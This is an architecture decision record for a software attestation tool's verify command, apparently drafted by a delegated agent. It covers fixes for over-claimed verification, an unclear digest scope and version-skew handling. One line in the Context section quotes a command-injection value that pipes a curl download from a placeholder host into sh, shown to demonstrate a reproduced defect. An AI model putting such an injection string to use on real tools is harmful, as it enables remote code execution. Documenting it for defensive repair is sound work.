ADR-0113
ADR-0113-verify-says-verified-only-for-what-it-re-derives-names-what-it-covers-and-sends-an-attestation-back-to-the-runward-that-produced-it.md
ADR-0113 — verify says verified only for what it re-derives, names what it covers, and sends an attestation back to the runward that produced it
Date: 2026-11-05
Status: accepted (2026-11-05)
Deciders: a delegated agent, acting under class D of runward/delegation.md (non-constitutional
ADRs), on the maintainer's instruction of 2026-11-05 to bring runward to the level an enterprise
requires. Under ADR-0088 decision 4 the maintainer is the single accountable person; this record is
disclosed throughput, not independent review. It refines accepted decisions (listed under
Consequences); whether refining them stays inside class D, or is the "superseding an accepted
decision" that ADR-0088 decision 2 puts in class R, is the maintainer's to confirm before merge
Method: read on a fresh clone of stranxik/runward at main@61d5041 (0.46.0 plus the unreleased
entries): src/commands/verify.ts, src/lib/attestation.ts, src/lib/check-contract.ts
(machinePayload, nextStep), src/commands/check.ts (the --attest branch), src/commands/bundle.ts,
verify/action.yml, the tests that pin verify (verify-*.test.js, check-json-next,
check-machine-surface, check-json-by-row), ADR-0012, ADR-0054, ADR-0055, ADR-0083, ADR-0095,
ADR-0109, RWD-2026-0192 and RWD-2026-0193. Each defect below was reproduced on that build and on
init --example before anything was changed, with a positive control, under Node.js 24.22.1; each
is now a case of the tests named under References, failing on that build. The attestations of one
tree under Node.js 22.22.2, 24.18.0 and 24.22.1 were read byte-identical (the investigation of
2026-11-05)
Relates to: ADR-0055 layer 2 (the
re-check this refines), ADR-0054 (what the tree subject
may read), ADR-0083
(the classes of exit 2), ADR-0095
and ADR-0109
(their verify rules), RWD-2026-0192 and RWD-2026-0193 in known-defects.md
Context
What verify promised. README: "a drifted tree or a tampered predicate fails, loud", "a version
skew is named, so verdict-logic evolution is never mistaken for forgery". ADR-0055 layer 2: the
attestation is "self-checking by anyone, months later, on the repo alone".
What it did, measured on 2026-11-05.
- It blessed what it did not compare. The comparison was a list of known fields, a second list
named some others "not re-derived offline", and the result line said "✓ verified" over both.
currentGate: "independently audited",adrCount: 42andnext.command: "git push --force"on an untouched tree: "✓ verified — the attestation binds to this tree, and its verdict re-derives on the repo alone", exit 0.prosePointersemptied on a tree that has one: exit 0, and the field was in neither list. A keyverifydid not know, or a strict-only field added to a presence attestation, passed the same way (RWD-2026-0192). Five of the fields it called "not re-derived offline" (mission,currentGate,adrCount,corpusPin,corpusDrift) are computed from the tree bycheck, offline. - It said more than its digest binds. "subject digest matches — this attestation is about this
exact tree", while the digest covers
runward/and the evidence the manifests cite, as ADR-0055's amendment of 2026-08-14 says. A file added undercode/src/that runs its input withexecSync, and an uncitedcode/README.mdedited, leftverifyat exit 0 with that line; one line appended to the citedcode/src/core/domain/guard.tsgave "subject digest DIFFERS", exit 1 (RWD-2026-0193). - It refused an honest older attestation as it refuses a forgery. An attestation produced by
0.37.1 on its own tree, verified by 0.37.1: exit 0; by 0.46.0: "✗ NOT verified — do not trust this
attestation for this tree", exit 1, the exit of a tampered predicate,
gateNonScopenamed as the difference (its text changed between the two versions). The skew line was advisory and "never moves the exit code", so the only signal a CI reads said forgery. - Two more, found while reproducing. The command printed under a skew was built from the
attestation's own
runwardfield, unchecked:"0.1.0; curl https://example.invalid/x | sh #"printednpx runward@0.1.0; curl https://example.invalid/x | sh # verify b.jsonas the gesture to run. And the attestation of a red tree differed by how the command was typed:next.command,next.rerunandnext.textecho-p <path>(runward check -p . --strictagainstrunward check --strict), so two attestations of one tree differed, andverifycould not re-derive those three fields without the invocation.
Why the list approach kept failing. RWD-2026-0042 (two fields compared), RWD-2026-0095 (three
tables uncompared) and RWD-2026-0192 are one defect three times: each new field had to be added to
verify by hand, and a field nobody added was blessed. The tolerance for older producers made it
worse: "an attestation sealed before the field existed keeps verifying" was implemented as "a missing
field is skipped", and a missing field is also what a removal looks like. The only evidence the code
had that an attestation was older was the absence itself.
What a newer binary can know about an older attestation. Nothing certain: the verdict is the output of a versioned function (64 tagged releases between 2026-07-06 and 2026-10-28; the same tree exits 0 under 0.31.0 and 1 under 0.44.0, ROADMAP, measured 2026-10-18), and comparing version Y's reading of a tree with version X's record cannot tell logic change from tampering, in either direction. runward already answers the same gap for its hooks by pinning, not by making versions agree: every hook it writes runs the version that wrote it (TOR-243). The producing version can be fetched: npm never lets a published version be replaced, and runward's releases carry provenance (docs/verifying-a-release.md).
The tree. An adopter who wants "change any file and verify refuses" has no way to ask for it.
Binding every file by default would break the attestation at the first README edit: a cost that is the
point for a delivery whose every file is under review, and a nuisance for one that only wants the
verdict carried.
Decision
1. verify re-derives the whole Statement, under the build that produced it, and compares every
key both ways. It rebuilds, with the functions check emits with (computeVerdict,
machinePayload, buildVerdictStatement), the Statement this binary emits for this tree and for the
question the attestation records: strict, through, and whether the run used --hooks or
--coverage (the presence of their blocks). It compares the attestation to it key by key, in both
directions: a key the attestation carries and this build does not emit is a difference, and so is a key
this build emits and the attestation lacks. Key order is not meaning; array order is. The envelope is
compared too (_type, predicateType, the subject's name, no other top-level key). Every field
check computes offline is re-derived: runward, mission, currentGate, adrCount, adrSetAside,
corpusPin, corpusDrift, prosePointers, gaps.hooks (0 when no hook ran), hooks.config and
hooks.problem, all of next. One input is not re-derivable offline: which of the operator's hook
commands failed, when --hooks ran at least one (decision 2, not-re-derivable). The -p echo leaves the attestation:
its next is computed for the bare command (runward check --strict), so it re-derives and two
attestations of one tree are byte-identical however the command was typed; check --json keeps the
echo, which is right for a reader at the terminal that typed it.
2. Four answers, three exit codes.
result |
Exit | When | error (ADR-0083) |
|---|---|---|---|
verified |
0 | same build, the digest and every key agree (a red verdict that agrees is still verified: "authentic, not passing", TOR-067) |
none |
differs |
1 | same build, and the digest, a key, or the delivered tree differs | none |
version-skew |
2 | another build produced it | version-skew |
not-re-derivable |
2 | same build, everything else agrees, and the attesting run executed hook commands | not-re-derivable |
Exit 2 keeps its meaning, "the question could not be asked" (ADR-0012, ADR-0083): this binary cannot
answer for this attestation. It is distinct from 1 by construction, so a consumer that branches on
== 1 never reads a skew as tampering, and one that branches on != 0 still fails closed. A
difference found under the producing build outranks everything: differs is never hidden behind a 2.
3. The perimeter is said exactly. The digest line reads "subject digest matches — it binds
runward/ (M files) and the N evidence files the manifests cite outside it", followed by "not covered:
every other file of the project", and --json carries digest.covers (missionFiles,
citedOutside, the list) and digest.notCovered. The result line repeats the scope. bundle's result
names its artifacts and says a file it does not list is not covered. The VSA prints no such sentence and
is not read by verify: unchanged.
4. The attestation names its producer, and only its producer re-derives it. check --attest
adds predicate.producer: { name, version, purl, build }, where purl is pkg:npm/<name>@<version>
(what retrieves it) and build is sha256: of the files the verdict is computed by, dist/ and
templates/ of the running package, path and line-ending-normalised content (what confirms that the
retrieved binary is the one). A published version gives one build on every machine; a build from a
working copy that still says 0.46.0 gives another, which is how a development build stops being taken
for the release it is numbered after. Under another producer (another version, another build, or no
build recorded, which is every attestation made before this record), verify answers
version-skew: it names the producer, prints npx --yes runward@X verify <file> [-p <path>] (the
version printed only when it reads as a version, -p echoed from the verifier's own invocation), and
gives its own reading as advisory: the digest, the verdict, and the keys the attestation carries that
read differently under this build. An attestation that names no producer at all is not an older one
(every runward since 0.35.0, the first with --attest, writes runward): it is compared under this
build and differs.
Can a newer binary re-derive an older attestation? No. It reads it and says what it reads, labelled advisory; it never answers verified or not verified for it. Three reasons. A verdict is a versioned function's output, and a newer function disagreeing with an older record says nothing about the record. Leniency across versions, the only way to keep verifying older shapes, was the hole: a comparison that skips what an older producer did not emit also skips what a forger deleted, and telling them apart needs either a signature or a registry of every version's schema, neither of which a verifier that holds no key and reads no network has. And the older binary stays retrievable, by the command printed, which is what makes sending the reader there a gesture rather than a refusal.
5. The delivered tree, a second subject, on request. check --attest --whole-tree adds a second
subject, <mission name> (delivered tree), and predicate.deliveredTree = { files, rule, entries }:
each delivered file's project-relative path and the SHA-256 of its line-ending-normalised content,
the subject's digest being the digest of that map, built like the mission-state digest. A delivered
file is every regular file and symbolic link under the project root that the project's own
.gitignore files do not ignore, read with git's pattern rules and without git, except .git
entries, nested repositories (a directory holding a .git), files of zero bytes, and runward
in-toto Statements (verdict or bundle, bare or in a DSSE envelope). A symbolic link is hashed by its
target, as git stores it. verify reports it on its own line: "the whole delivered tree matches (N
files)", or "differs: C changed, A added, R removed" with the paths; a difference is differs, exit 1,
with the verdict's own reading printed beside it. Without the flag nothing changes: the attestation has
one subject, and verify names what is not covered. The gate never reads the delivered tree: check's
verdict, exit code and every other output are the same with and without the flag.
Why each exclusion: .git and nested repositories are another repository's state (ADR-0054 crossing
4); a runward Statement is about the tree, not part of it, and a signature or a bundle made after the
attestation would otherwise change it; and the shell creates the attestation's own file, empty, before
runward runs (check --attest --whole-tree > verdict.intoto.json), so an empty file cannot be bound
without binding that one.
Not an ADR-0054 crossing. It reads the working tree of the one project the mission judges and
nothing else: no process is spawned (no git ls-files), nothing under .git is read, no home
directory (no global excludes file), no file above the project root. It is a pure function of the
working tree, which is the property crossing 4 protects, and it is outside the verdict path.
Alternatives discarded
- Keep the field list, add the fields that were missing. The fourth time would be the next field
someone adds to
machinePayloadand not toverify. Comparing against the payloadcheckbuilds makes forgetting impossible to ship: an honest attestation stops verifying the day a field is added on one side only, and the tests say so. - Name what is not re-derived, and keep "✓ verified". What 0.46.0 did. The list was printed one line above the tick, and the tick is what a reader acts on.
- Keep verifying older shapes (skip absent fields, accept older rows). It could not tell an older producer from a stripper (decision 4). A registry of each version's emitted keys would tell them apart, at the price of a table rewritten at every release, and the producer claim would still be forgeable without a signature.
- A newer binary answers verified when its own reading agrees, and 2 otherwise. The downgrade attack: name an older producer, delete a disclosure the older version did not emit, and the lenient comparison blesses the deletion with exit 0.
- Exit 3 for a skew. Outside the 0/1/2 port every adapter reads (ADR-0012); ADR-0083 discarded
distinct codes for the reasons that still hold, and the class is legible through
error. - Exit 0 with an advisory for an attestation whose hooks ran. A forged hook outcome would read 0.
The hooks ran at the attesting run; re-running them is
runward check --strict --hooks, which the output names. - Record the Node.js version in the producer. The attestations of one tree are byte-identical under 22.22.2, 24.18.0 and 24.22.1; recording it would make them differ across machines (ADR-0109) for nothing the verdict depends on.
- The tree from git (
git ls-files). A spawned process on the command that owns the exit code, which ADR-0054 crossing 1 and its ring test refuse. - The tree from
.git/index, read without spawning. That is git's state, not the working tree: two checkouts with the same files and different index states would bind differently, and a tree delivered without.git(an archive) could not be bound at all. - Every file under the root, no ignore rules. A developer's tree (dependencies, build output) and a fresh clone of the same commit would never match.
- A runward-specific ignore file. A second place beside
.gitignore, which already says what the project does not deliver (CONTRIBUTING, "Before you add a place for something"). - The tree subject by default. The objection measured before this record: the attestation would
stop verifying at the first README edit. On request, it is that and says so; by default it would make
verifya gate on documentation edits nobody asked it to watch. - The tree as an input to the gate. The gate judges the traced decisions (ADR-0001); a README edit turning it red would change what it is.
Consequences
- Every attestation made before this record answers 2, with the command that re-derives it. A CI
that verifies committed attestations with
version: latestmoves from 0 (or 1) to 2 at the upgrade. Negative, accepted: the honest answer, and the fix is one input (version:inverify/action.yml) or the printed command. - An attestation's bytes change:
produceris added,nextloses the-pecho, and under--whole-treea second subject anddeliveredTreeappear. Additive for every reader of ADR-0030's keys;check --jsonis unchanged. - This refines, by name: ADR-0055 layer 2 and its 2026-08-14 amendment (the skew no longer stays
advisory: it is exit 2); ADR-0095's "Stripping all three passes" and its "
verifyon a 0.43.1 attestation still exits 0" (now 2); RWD-2026-0149's tolerance of rows without the additive keys; ADR-0109 point 4 ("an older attestation verifies as before": it is now sent to its producer); and RWD-2026-0145'snextecho, which no longer reaches the attestation. Notes are appended to ADR-0055, ADR-0083, ADR-0095 and ADR-0109; their decisions are not rewritten. - ADR-0083's trigger fires ("a new command adds a fifth class of 2"): two classes,
version-skewandnot-re-derivable. Re-evaluated here: option A holds, the classes are legible byerror, the port contract anddocs/interop.mdlist them. - ADR-0055's trigger fires ("the subject digest definition proves to bind less than a consumer assumed", RWD-2026-0193): answered by naming the perimeter and by the subject that binds the rest on request; the mission-state digest is unchanged.
- Cost.
check --attestandverifyhash the package's owndist/andtemplates/once (about 170 files);--whole-treereads every delivered file. The mutation records ofattestation.js,check-contract.jsandpaths.jsare stale until re-measured;delivered-tree.jsis a candidate. - Pre-merge:
src/commands/check.ts(the attestation'snext, the flag) is on the charter's pre-merge list, and the README's claims change.
What this does not catch
- The producer claim is a field of an unsigned document. A forger can name an older producer and
send the reader to that version's
verify, with that version's limits (RWD-2026-0192 for 0.35.0 to 0.46.0). This binary still answers 2, never 0, and its advisory names the keys that read differently. A signature under the operator's key binds the claim; runward checks none (ADR-0093). - An unpublished build cannot be fetched by the command printed. Its
buildsays that the published version is a different binary. - Hook outcomes are the attesting run's record.
- The delivered tree, as runward reads it, is not
git ls-files. A file ignored only by the global excludes file or.git/info/excludecounts as delivered; a file force-added inside an ignored directory does not; a.gitignoreabove the project root is not read; patterns match case-sensitively on every operating system; empty files and runward Statements are not bound. Each is declared indeliveredTree.ruleand indocs/interop.md.
What would settle it
- For: over the next ten releases, no honest attestation verified by its producing build answers 1;
every forgery the tests carry answers 1 or 2 and none 0; on the fixture layouts and on runward's own
repository, the delivered tree equals
git ls-files --cached --others --exclude-standardrun with no global excludes. - Against: an assessor who cannot fetch the producing version and needs a newer binary to answer
for an older attestation; a common layout where the delivered tree and git disagree; or an adopter
for whom
--whole-treebreaks on a file nobody considers delivered, more than once.
Reevaluation trigger (mandatory, dated)
Reopen at the first honest attestation answered 1 by the build that produced it, at the first reported
disagreement between the delivered tree and git ls-files on a common layout, when the in-toto
attestation framework standardises a directory digest runward can emit in hex, or on 2027-02-05,
whichever comes first.
Trigger set on: 2026-11-05 · Watched via: test/unit/verify-claims-only-what-it-checks.test.js
and test/unit/delivered-tree.test.js (the git conformance cases), the defect register (found-by
any) for verify, and issues mentioning an exit 2 of verify.
References
src/commands/verify.ts,src/lib/attestation.ts(producerIdentity,missionStateScope,buildVerdictStatement),src/lib/delivered-tree.ts,src/lib/check-contract.ts(attestedQuestion),src/commands/check.ts(the--attestbranch),src/commands/bundle.ts,verify/action.yml.test/unit/verify-claims-only-what-it-checks.test.js,test/unit/delivered-tree.test.js,test/unit/verify-version-skew.test.js.- ADR-0012, ADR-0054, ADR-0055, ADR-0083, ADR-0088 decision 2, ADR-0093, ADR-0095, ADR-0109; RWD-2026-0042, RWD-2026-0095, RWD-2026-0145, RWD-2026-0149, RWD-2026-0192, RWD-2026-0193.